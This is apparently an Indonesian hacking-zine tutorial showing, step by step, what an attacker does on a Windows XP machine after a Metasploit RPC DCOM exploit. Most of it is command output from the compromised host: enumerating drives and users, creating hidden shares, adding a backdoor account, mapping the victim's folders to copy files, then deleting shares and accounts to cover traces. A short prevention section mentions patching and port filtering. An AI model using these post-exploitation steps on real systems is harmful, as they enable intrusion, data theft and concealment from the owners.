TCP kidz:1445 kidz:0 LISTENING 
TCP kidz:1454 kidz:0 LISTENING 
TCP kidz:1699 kidz:0 LISTENING 
TCP kidz:1866 kidz:0 LISTENING 
TCP kidz:3859 kidz:0 LISTENING 
TCP kidz:4444 172.16.0.3:3766 ESTABLISHED 
UDP kidz:epmap *:* 
UDP kidz:microsoft-ds *:* 
UDP kidz:isakmp *:* 
UDP kidz:1026 *:* 
UDP kidz:1027 *:* 
UDP kidz:1028 *:* 
UDP kidz:1581 *:* 
UDP kidz:1582 *:* 
UDP kidz:1583 *:* 
UDP kidz:1584 *:* 
UDP kidz:1585 *:* 
UDP kidz:1586 *:* 
UDP kidz:1587 *:* 
UDP kidz:1588 *:* 
UDP kidz:1589 *:* 
UDP kidz:7550 *:* 
UDP kidz:ntp *:* 
UDP kidz:1033 *:* 
UDP kidz:1900 *:* 
UDP kidz:ntp *:* 
UDP kidz:netbios-ns *:* 
UDP kidz:netbios-dgm *:* 
UDP kidz:1900 *:*- 



-Coba perhatikan dari hasil netstat -a bahwa : 
Proto = artinya menunjukkan protokol yang digunakan 
Local Address = address lokal komputer yang bersangkutan (dalam 
hal ini adalah kidz), dan port yang digunakannya. 
Foreign Address = menunjukkan address asing yang sedang melakukan 
koneksi. 
State = menunjukkan status koneksi. 

Nah coba perhatikan diatas, 
TCP kidz:4444 172.16.0.3:3766 ESTABLISHED 
artinya bahwa kidz (komputer target) menggunakan port 4444 untuk 
terkoneksi dengan IP 172.16.0.3 (Ip attacker) dengan port attacker 
adalah 3766 dimana status keduanya adalah ESTABLISHED (berhasil 
terkoneksi ). 
Hal ini cocok dengan attacker : 
TCP fl3xu5:3766 172.16.0.5:4444 ESTABLISHED 

Coba bandingkan dengan kondisi target sebelum terexploitasi: 


C:\WINDOWS\system32>netstat -a 
Active Connections 

Proto Local Address Foreign Address State 
TCP kidz:epmap kidz:0 LISTENING 
TCP kidz:microsoft-ds kidz:0 LISTENING 
TCP kidz:1025 kidz:0 LISTENING 
TCP kidz:1032 kidz:0 LISTENING 
TCP kidz:gds_db kidz:0 LISTENING 
TCP kidz:4444 kidz:0 LISTENING 
TCP kidz:5000 kidz:0 LISTENING 
TCP kidz:7551 kidz:0 LISTENING 
TCP kidz:netbios-ssn kidz:0 LISTENING 
TCP kidz:1370 kidz:0 LISTENING 
TCP kidz:1382 kidz:0 LISTENING 
TCP kidz:1445 kidz:0 LISTENING 
TCP kidz:1454 kidz:0 LISTENING 
TCP kidz:1699 kidz:0 LISTENING 
TCP kidz:1866 kidz:0 LISTENING 
TCP kidz:3859 kidz:0 LISTENING 
UDP kidz:epmap *:* 
UDP kidz:microsoft-ds *:* 
UDP kidz:isakmp *:* 
UDP kidz:1026 *:* 
UDP kidz:1027 *:* 
UDP kidz:1028 *:* 
UDP kidz:1581 *:* 
UDP kidz:1582 *:* 
UDP kidz:1583 *:* 
UDP kidz:1584 *:* 
UDP kidz:1585 *:* 
UDP kidz:1586 *:* 
UDP kidz:1587 *:* 
UDP kidz:1588 *:* 
UDP kidz:1589 *:* 
UDP kidz:7550 *:* 
UDP kidz:ntp *:* 
UDP kidz:1033 *:* 
UDP kidz:1900 *:* 
UDP kidz:ntp *:* 
UDP kidz:netbios-ns *:* 
UDP kidz:netbios-dgm *:* 
UDP kidz:1900 *:*- 



silahkan perbedaanya , jelas bukan  

4. Explorasi lebih dalam di mesin target ;p- 


C:\WINDOWS\system32>cd\ 
cd\ 
C:\>dir /a <--- tampilin isi direkory 
dir /a 
Volume in drive C is systemZ 
Volume Serial Number is 634Q-5H3W 

Directory of C:\ 

12/06/2007 01:36 pagi <dir>$VAULT$.AVG 
03/04/2003 01:57 pagi 0 AUTOEXEC.BAT 
06/03/2003 04:55 sore 193 boot.ini 
06/02/2003 01:57 sore 0 CONFIG.SYS 
22/05/2007 05:52 sore <dir> Documents and Settings 
26/06/2007 11:20 pagi 255.876.614 hiberfil.sys 
18/04/2007 07:27 pagi <dir>Inprise 
05/02/2003 01:57 sore 0 IO.SYS 
09/05/2003 01:57 pagi 0 MSDOS.SYS 
27/03/2002 04:08 sore 35.487 NTDETECT.COM 
23/05/2002 08:05 sore 343.598 ntldr 
28/02/2007 11:20 pagi 453.365.387 pagefile.sys 
23/01/2007 03:54 sore 14.243 PDOXUSRS.NET 
29/05/2007 12:22 pagi <dir> Program Files 
23/03/2007 05:55 pagi <dir> RECYCLER 
04/05/2003 02:02 pagi <dir>System Volume Information 
22/02/2007 11:39 pagi <dir> WINDOWS 
10 File(s) 564.767.298 bytes 
7 Dir(s) 4.387.087.073 bytes free- 



nah coba ah liat ada berapa OS nih di PC target ...caranya ?? 


C:\>type boot.ini 
type boot.ini 
[boot loader] 
timeout=6 
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS 
[operating systems] 
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect- 


wah ternyata cuma 1 oS yaitu windows... 

nah ada direktory program files tuh, coba intip yuu ;p 


C:\>cd program files 
cd program files 

C:\Program Files>dir /a 
dir /a 
Volume in drive C is systemZ 
Volume Serial Number is 634Q-5H3W 

Directory of C:\Program Files 

23/09/2007 12:22 pagi <dir> . 
12/09/2007 12:22 pagi <dir> .. 
21/09/2007 10:57 pagi <dir> Adobe 
13/09/2007 02:46 sore <dir> BORGChat 
18/09/2007 07:25 sore <dir> Borland 
21/09/2007 07:21 sore <dir> Common Files 
12/01/2003 01:54 pagi <dir> ComPlus Applications 
13/01/2003 04:11 pagi <dir> Grisoft 
08/09/2007 10:57 pagi <dir> InstallShield Installation Information 
15/01/2003 01:56 pagi <dir> Internet Explorer 
05/09/2007 07:26 sore <dir> JavaSoft 
14/01/2003 02:38 pagi <dir> K-Lite Codec Pack 
15/01/2003 01:53 pagi <dir> Messenger 
04/09/2007 09:51 pagi <dir> Microsoft ActiveSync 
15/01/2003 01:58 pagi <dir> microsoft frontpage 
05/09/2007 09:51 pagi <dir> Microsoft Office 
06/09/2007 09:51 pagi <dir> Microsoft.NET 
18/09/2007 01:35 sore <dir> mIRC 
22/01/2003 01:55 pagi <dir> Movie Maker 
29/01/2003 01:53 pagi <dir> MSN 
15/01/2003 01:53 pagi <dir> MSN Gaming Zone 
19/01/2003 01:55 pagi <dir> NetMeeting 
17/01/2003 01:56 pagi <dir> Online Services 
15/09/2007 12:14 pagi <dir> Opera 
13/01/2003 01:55 pagi <dir> Outlook Express 
18/01/2003 02:03 pagi <dir> Uninstall Information 
14/09/2007 08:37 sore <dir> Winamp 
18/09/2007 05:53 sore <dir> Windows Media Player 
14/01/2003 01:53 pagi <dir> Windows NT 
04/09/2007 03:14 sore <dir> WindowsUpdate 
05/09/2007 10:17 pagi <dir> WinRAR 
06/09/2007 10:20 pagi <dir> XemiComputers 
13/01/2003 01:58 pagi <dir> xerox 
05/09/2007 11:45 sore <dir> Yahoo! 
0 File(s) 0 bytes 
34 Dir(s) 5.319.032.098 bytes free- 



apalagi ya ?? oiya iseng buat direktory yuu ..ups tapi cepet2 
dihapus ya..biar ga ketahuan segera hapus jejak  


C:\>mkdir test 
mkdir test 
C:\>dir /a 

Volume in drive C is systemZ 
Volume Serial Number is 634Q-5H3W 

Directory of C:\ 

12/06/2007 01:36 pagi <<dir> $VAULT$.AVG 
03/04/2003 01:57 pagi 0 AUTOEXEC.BAT 
06/03/2003 04:55 sore 193 boot.ini 
06/02/2003 01:57 sore 0 CONFIG.SYS 
22/05/2007 05:52 sore <dir> Documents and Settings 
26/06/2007 11:20 pagi 255.876.614 hiberfil.sys 
18/04/2007 07:27 pagi <dir> Inprise 
05/02/2003 01:57 sore 0 IO.SYS 
09/05/2003 01:57 pagi 0 MSDOS.SYS 
27/03/2002 04:08 sore 35.487 NTDETECT.COM 
23/05/2002 08:05 sore 343.598 ntldr 
28/02/2007 11:20 pagi 453.365.387 pagefile.sys 
23/01/2007 03:54 sore 14.243 PDOXUSRS.NET 
29/05/2007 12:22 pagi <dir>Program Files 
23/03/2007 05:55 pagi <dir> RECYCLER 
04/05/2003 02:02 pagi <dir> System Volume Information 
24/09/2007 01:07 sore <dir> test 
22/02/2007 11:39 pagi <dir> WINDOWS 
10 File(s) 564.767.298 bytes 
7 Dir(s) 4.387.087.073 bytes free 
asyik dah berhasil tuh membuat direktori test ;p.. nih : 
24/09/2007 01:07 sore <dir>test- 



buruan ah hapus, biar ga ketahuan nyusup :p 


C:\>rmdir test 
rmdir test 
C:\> dir /a 
dir /a 
Volume in drive C is systemZ 
Volume Serial Number is 634Q-5H3W 

Directory of C:\ 

12/06/2007 01:36 pagi <dir> $VAULT$.AVG 
03/04/2003 01:57 pagi 0 AUTOEXEC.BAT 
06/03/2003 04:55 sore 193 boot.ini 
06/02/2003 01:57 sore 0 CONFIG.SYS 
22/05/2007 05:52 sore <dir>Documents and Settings 
26/06/2007 11:20 pagi 255.876.614 hiberfil.sys 
18/04/2007 07:27 pagi <dir>Inprise 
05/02/2003 01:57 sore 0 IO.SYS 
09/05/2003 01:57 pagi 0 MSDOS.SYS 
27/03/2002 04:08 sore 35.487 NTDETECT.COM 
23/05/2002 08:05 sore 343.598 ntldr 
28/02/2007 11:20 pagi 453.365.387 pagefile.sys 
23/01/2007 03:54 sore 14.243 PDOXUSRS.NET 
29/05/2007 12:22 pagi <dir>Program Files 
23/03/2007 05:55 pagi <dir> RECYCLER 
04/05/2003 02:02 pagi <dir> System Volume Information 
22/02/2007 11:39 pagi <dir> WINDOWS 
10 File(s) 564.767.298 bytes 
7 Dir(s) 4.387.087.073 bytes free- 



nah sekarang maen2 yang berhubungan dengan networking yuu 
biar tambah asyik... 
coba ah liat apa aja yang di share : 


C:\> d: 
D:\>net share 
net share 

Share name Resource Remark 

---------------------------------------------------------------- 
IPC$ Remote IPC 
D$ D:\ Default share 
F$ F:\ Default share 
ADMIN$ C:\WINDOWS Remote Admin 
C$ C:\ Default share 
E$ E:\ Default share 
The command completed successfully.- 



nah ternyata masih default tuh share share an nya..ada IPC$,D$, 
F$,ADMIN$,C$,E$. 

Coba explore direktory lain ah ...;p 


D:\>dir /a 
dir /a 
Volume in drive D is konami 
Volume Serial Number is 2876-28BY 

Directory of D:\ 

14/03/2007 01:38 pagi <dir> System Volume Information 
18/05/2007 12:23 sore <dir> funny 
05/09/2007 12:31 sore <dir> Recycled 
04/03/2007 07:43 sore <dir> installerzzz 
05/05/2007 12:20 sore <dir> Templates 
19/01/2007 04:44 sore 23 tutut.txt 
05/05/2007 12:11 pagi <dir> $VAULT$.AVG 
1 File(s) 23 bytes 
6 Dir(s) 4.584.785.237 bytes free- 



upzz ada direktory installer, kayaknya ini isi nya installer2/ 
software2 buat windows ya?? ga tahu juga ding, liat aja yuu :p 
tapi enaknya coba di share aja biar lebih enak dan menantang ;p 



D:\>net share i$=d:/installerzzz 
net share i$=d:/installerzzz 
i$ was shared successfully.- 



catatan : option $ digunakan supaya share nya di hidden biar ga 
keliatan ;p 

Coba liat dah berhasil di share blom yakk... 


D:\>net share 
net share 

Share name Resource Remark 

----------------------------------------------------------------- 
IPC$ Remote IPC 
D$ D:\ Default share 
i$ d:\installerzzz 
F$ F:\ Default share 
ADMIN$ C:\WINDOWS Remote Admin 
C$ C:\ Default share 
E$ E:\ Default share 
The command completed successfully.- 



asyik dah berhasil di share tuh dengan share name i$ ;p 
nah cepetan copi or liat2 tuh yang telah di share tadi, coz 
biar ga kelamaan di share..Nah kalo dah selese, segera di unshare 
ya ;p (sekali lagi kita maen bersih, be invisible ;p) 
cara nya gmn dunk unshare?? 


D:\>net share i$ /delete 
net share i$ /delete 
i$ was deleted successfully.- 



Sip dah diunshare tuh..masa sih?? yukk kita lihat bareng: 


D:\>net share 
net share 

Share name Resource Remark 

-------------------------------------------------------------------- 
IPC$ Remote IPC 
D$ D:\ Default share 
F$ F:\ Default share 
ADMIN$ C:\WINDOWS Remote Admin 
C$ C:\ Default share 
E$ E:\ Default share 
The command completed successfully.- 



oiya sip dah di unshare... 

wah enaknya liat yuu siapa aja user yang ada di PC target.. 


D:\>net user 
net user 

User accounts for \\ 

---------------------------------------------------------------------- 
Administrator Guest HelpAssistant 
kidz SUPPORT_388945a0 
The command completed with one or more errors.- 



nah tuh banyak user ternyata disitu, sekarang kita coba lihat 
properties dari salah satu user nya,misal user administrator. 


D:\>net user Administrator 
net user Administrator 
User name Administrator 
Full Name 
Comment Built-in account for administering the computer/domain 
User's comment 
Country code 000 (System Default) 
Account active Yes <---- acount nya aktif ;p 
Account expires Never 
Password last set 1/1/2003 8:51 AM 
Password expires Never 
Password changeable 1/1/2003 8:51 AM 
Password required Yes 
User may change password Yes 

Workstations allowed All 
Logon script 
User profile 
Home directory 
Last logon 9/20/2007 5:48 PM 

Logon hours allowed All 

Local Group Memberships *Administrators <- group Administrators 
Global Group memberships *None 
The command completed successfully.- 



Gimana kalo kita add user?? bisa ga ya??coba yuu ;p 


D:\>net user tamu 12345 /add 
net user tamu tamu /add 
The command completed successfully. 



artinya kita menambahkan user tamu dengan password 12345 



D:\>net user 
net user 

User accounts for \\ 

---------------------------------------------------------------------- 
Administrator Guest HelpAssistant 
kidz SUPPORT_388945a0 tamu 
The command completed with one or more errors. 



Sipp dah berhasil di create tuh user tamu ;p 

Nah berikutnya terserah mau jadikan user tamu itu masuk ke group 
administrators, terus kita pake acount tersebut buat connect back 
dan seterusnya..Silahkan saaja dan kembangin sendiri ya ;p 
Ok, kalo dah ga kepake kita hapus yuu user tamu itu biar ga ketahuan 
kalo kita nyusup ;p 



D:\>net user tamu /delete 
net user tamu /delete 
The command completed successfully. 

D:\>net user 
net user 

User accounts for \\ 

---------------------------------------------------------------------- 
Administrator Guest HelpAssistant 
kidz SUPPORT_388945a0 
The command completed with one or more errors. 



Sip dah kehapus user tamu tsb ;p 

Kita explore Drive lain yuuu..masih lom cape khan ;-P hehehe 



D:\>f: 

F:\>dir /a 
dir /a 
Volume in drive F is high-Q 
Volume Serial Number is 190T-1958 

Directory of F:\ 

19/09/2007 06:39 sore <dir> FOUND.000 
09/09/2007 01:38 pagi <dir> System Volume Information 
07/09/2007 12:31 sore <dir> Recycled 
14/09/2007 07:50 sore <dir> film 
08/09/2007 07:50 sore <dir> SongZ 
0 File(s) 0 bytes 
5 Dir(s) 5.067.175.298 bytes free 





F:\>cd SongZ 
cd SongZ 

F:\>SongZ>dir /a 
dir /a 
Volume in drive F is high-Q 
Volume Serial Number is 190T-1958 

Directory of F:\SongZ 

16/03/2007 07:50 sore <dir> . 
11/07/2007 07:50 sore <dir> .. 
05/02/2003 06:16 pagi <dir> Indonesia 
07/09/2003 06:18 pagi <dir> Barat 
19/02/2007 07:51 sore <dir> Lirik Lagu 
0 File(s) 0 bytes 
5 Dir(s) 5.030.287.287 bytes free 



Coba kita share yuuk Folder SongZ yang ada di f:\, abis itu kita 
mapping di PC kita ;p asyi bukan  



F:\SongZ>net share b$=f:\SongZ 
net share b$=f:\SongZ 
b$ was shared successfully 

F:\SongZ>net share 
net share 

Share name Resource Remark 

----------------------------------------------------------------------- 
IPC$ Remote IPC 
D$ D:\ Default share 
b$ f:\SongZ 
F$ F:\ Default share 
ADMIN$ C:\WINDOWS Remote Admin 
C$ C:\ Default share 
E$ E:\ Default share 
The command completed successfully. 



yup dah si share tuh f:\SongZ dgn nama share nya b$. 
OK berarti kita tinggal mapping aja ke PC kita, seolah olah kita 
punya partisi hardisk baru. misal kita punya partisi c,d,e,f,g maka 
biasa nya kalo kita telah berhasil mapping maka akan tampak partisi 
Z di PC kita. untuk mapping ke dua maka akan tampak mapping point 
berikutnya yaitu Y. maaping point tersebut sama seperti saat kita 
melakukan "map network drive" suatu folder yang di share PC lain. 
yukk langsung kita coba aja ;p 
kita buka PC kita : 



G:\Documents and Settings\fl3xu5>net use Z: \\172.16.0.5\b$ 
The command completed successfully. 

G:\Documents and Settings\fl3xu5>net use 
New connections will not be remembered. 

Status Local Remote Network 

----------------------------------------------------------------- 
OK Z: \\172.16.0.5\b$ Microsoft Windows Network 

The command completed successfully. 



Sip.. dah berhasil di mapping ke Z: 
Silahkan cek di MY komputer kita maka akan nampak drive Z tersebut 
yang berisi file sharing \\172.16.0.5\b$ 
jika sudah berhasil maka bisa kita copy file share dari PC target ;p 
teknik ini digunakan untuk memudahkan kita dalam mengakses karena 
kita tidak perlu mem browse PC target, melainkan kita tinggal klik 
drive Z yang telah menjadi mapping point tersebut.;p 
*laykanya kita mengakses drive PC kita ;p 
Nah kalo dah tidak diperlukan segera "disconnect map drive" tadi, 
tujuanya agar tidak di ketahui kalo kita dah nge share dan nge map 
file dari PC target tersebut. (Ingat, kita maen bersih yak ;p) 
caranya : 



G:\Documents and Settings\fl3xu5>net use Z: /delete 
Z: was deleted successfully. 

G:\Documents and Settings\fl3xu5>net use 
New connections will not be remembered 

There are no entries in the list. 



Nampak kalo Z: sudah tidak ada, artinya sudah tidak ada mapping 
point di PC kita.. 
Supaya aman jangan lupa kita unshare b$ dari PC target tadi, caranya : 


F:\SongZ>net share b$ /delete 
net share b$ /delete 
b$ was deleted successfully 



Cek yuu dah ter unshare blom b$ tadi : 


F:\SongZ>net share 
net share 

Share name Resource Remark 

----------------------------------------------------------- 
IPC$ Remote IPC 
D$ D:\ Default share 
F$ F:\ Default share 
ADMIN$ C:\WINDOWS Remote Admin 
C$ C:\ Default share 
E$ E:\ Default share 
The command completed successfully. 




----===== Analisa =====--- 
-Dalam kasus ini PC target merupakan PC dengan OS windows dengan default 
installation artinya smuwa konfigurasi masih default, belum dilakukan 
patching terhadap OS windows tersebut. Dan juga tidak dilakukan installasi 
terhadapa Antivirus or firewall. Meskipun antiviurs dan firewall bukan 
satu cara yang bagus untuk men secure tapi paling tidak ada beberapa 
yang cocok untuk melakukan pencegahan terhadap exploit msrpcdcom ini. 

----===== Pencegahan =====--- 
-Salah satu pencegahan yang bisa dilakukan adalah dengan menginstall 
AV dan firewall serta lakukan lah patching, sehingga mencegah 
adanya intruder/attacker via port 135 tersebut dengan memanfaatkan 
rpcdcom tadi. 

Nah penulis coba lakukan filtering packet yang ada di TCP/IP properties 
yaitu dengan 
Pilih network connection --> klik kanan pada LAN --> properties--> 
TCP/IP --> properties --> advanced --> options --> TCP/IP Filtering 
--> properties --> Enable TCP/IP filtering --> klik permit only --> 
add --> masukkan port 80 --> ok --ok -->ok --> ok. 
Setelah melakukan filtering tadi, penulis coba exploitasi dengan cara 
yang sama via port 135 tadi, dan hasilnya tidak berhasil terexploitasi. 
padahal tanpa install AV dan firewall sebelumnya. 
Akan tetapi, banyak efect yang terjadi setelah melakukan filtering tadi. 
seperti tidak bisa sharing file. 
berdasarkan analisa penulis, tidak berhasilnya exploitasi tadi 
dikarenakan port 135 tertutup, dimana port 135 digunakan sebagai 
servis yang berhubungan dengan file sharing tadi. 




--===== Penutup =====--- 

--->> Info tambahan 
-- untuk informasi lebih tentang metasploit silahkan ke 
http://metasploit.com, dan gunakan ? pada msf console. 
- info DOS command, ketik help pada command prompt untuk mengetahui 
lebih dalam command2 apa saja yang digunaakn dalam windows (DOS) 


- Silahkan menganalisa lebih dalam tentang netstat, dengan ketik 
netstat /? pada cmd. 
Coba saya berikan sampel nya : 



G:\Documents and Settings\fl3xu5>net 
The syntax of this command is: 


NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP | 
HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION | 
SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ] 


G:\Documents and Settings\fl3xu5>net localgroup /? 
The syntax of this command is: 


NET LOCALGROUP 
[groupname [/COMMENT:"text"]] [/DOMAIN] 
groupname {/ADD [/COMMENT:"text"] | /DELETE} [/DOMAIN] 
groupname name [...] {/ADD | /DELETE} [/DOMAIN] 


G:\Documents and Settings\fl3xu5>net share /? 
The syntax of this command is: 


NET SHARE 
sharename 
sharename=drive:path [/GRANT:user,[READ | CHANGE | FULL]] 
[/USERS:number | /UNLIMITED] 
[/REMARK:"text"] 
[/CACHE:Manual | Documents| Programs | None ] 
sharename [/USERS:number | /UNLIMITED] 
[/REMARK:"text"] 
[/CACHE:Manual | Documents | Programs | None] 
{sharename | devicename | drive:path} /DELETE 


G:\Documents and Settings\fl3xu5>net start /? 
The syntax of this command is: 


NET START 
[service] 


G:\Documents and Settings\fl3xu5>net stop /? 
The syntax of this command is: 


NET STOP 
service 


G:\Documents and Settings\fl3xu5>net use /? 
The syntax of this command is: 


NET USE 
[devicename | *] [\\computername\sharename[\volume] [password | *]] 
[/USER:[domainname\]username] 
[/USER:[dotted domain name\]username] 
[/USER:[username@dotted domain name] 
[/SMARTCARD] 
[/SAVECRED] 
[[/DELETE] | [/PERSISTENT:{YES | NO}]] 

NET USE {devicename | *} [password | *] /HOME 

NET USE [/PERSISTENT:{YES | NO}] 



G:\Documents and Settings\fl3xu5>net user /? 
The syntax of this command is: 


NET USER 
[username [password | *] [options]] [/DOMAIN] 
username {password | *} /ADD [options] [/DOMAIN] 
username [/DELETE] [/DOMAIN] 


G:\Documents and Settings\fl3xu5>net view /? 
The syntax of this command is: 


NET VIEW 
[\\computername [/CACHE] | /DOMAIN[:domainname]] 
NET VIEW /NETWORK:NW [\\computername] 




--->> Aware !!- 
-To All, mohon diperhatikan sisi security dari windows, salah satunya 
bug rpcdcom tersebut. dan bug bug lain seperti port 139 yang bisa 
di exploitasi dengan lsass.. dsb 
Update lah info security anda, termasuk info bug dan advisory dari 
aplikasi2 yang anda pakai,lakukan patching jgn lupa ya.dsb.- 
---->> Thanks Shout and Greetz To : 
- ALLAH SWT dan Nabi Muhammad SAW 
- My parents and my Family (thx u very much for your love..) 
- My h0n3y  
- all of te-28-01 erz  
- My 4G'erz at mobilecommlab[dot]or[dot]id (ayuu smangat!!;p) 
- newhack|staff , newhack[dotorg 
- all member CnC labz : arz, freak,Cyb3rh3b dkk (missed u guys ;p) 
- Student's erZ #students..oii jgn chat muluw  
- all of Indonesian Undergorundz Community | staff and memberz 
- all of my friends 
- at #newhack[dot]org #e-c-h-o, #1stlink, #antihackerlink, 
#k-elektronik, #yogyafree, #xcode, #sekuritionline, 
#jasakom, #unsecured and all of underground channel @DALnet 
#nyubicrew @irc.mildnet.org 
- k1tk4t, mR.opt1lc, Pushm0v, gh0z ,sakitjiwa, cybertank, m_beben, 
matdhule, shideX, t0ngkring, th3sn0wbr4in, y3d1ps, the_day, 
lirva32, ayulina, dark|ipl, digital-levi, bledhek, hzent, 
tw, kopral;p, natztel, alkahfi;p, si Om, PakRT, timin, 
kopasus, scriptdana, why, vindie, raiden, irving_nazmi, 
Ph03n1X, primadonal, cR45H3R, aulia, sat-anichell, thesims, 
adhietslank, cyberlog, letjen,dkk, boerz, bigie, camgenta, 
the_rumput_kering, lppsmes, sendenk, bigmaster, kendi,dkk, 
mbah scut;), the_peng and Others yang ga bisa disebut satu2.. 
- and all of my friends yang ga bisa di sebutin satu2 baik dalam 
negeri maupun luar negeri - 

Reference : google.com, experiment PC peer to peer with laptop.. 
http://metasploit.com, ezine[at]echo.or.id. 


-----===== Alhamdulillahirabbil'alamiin=====-----

your Ads Here

Your Ad Here FellowEquality.com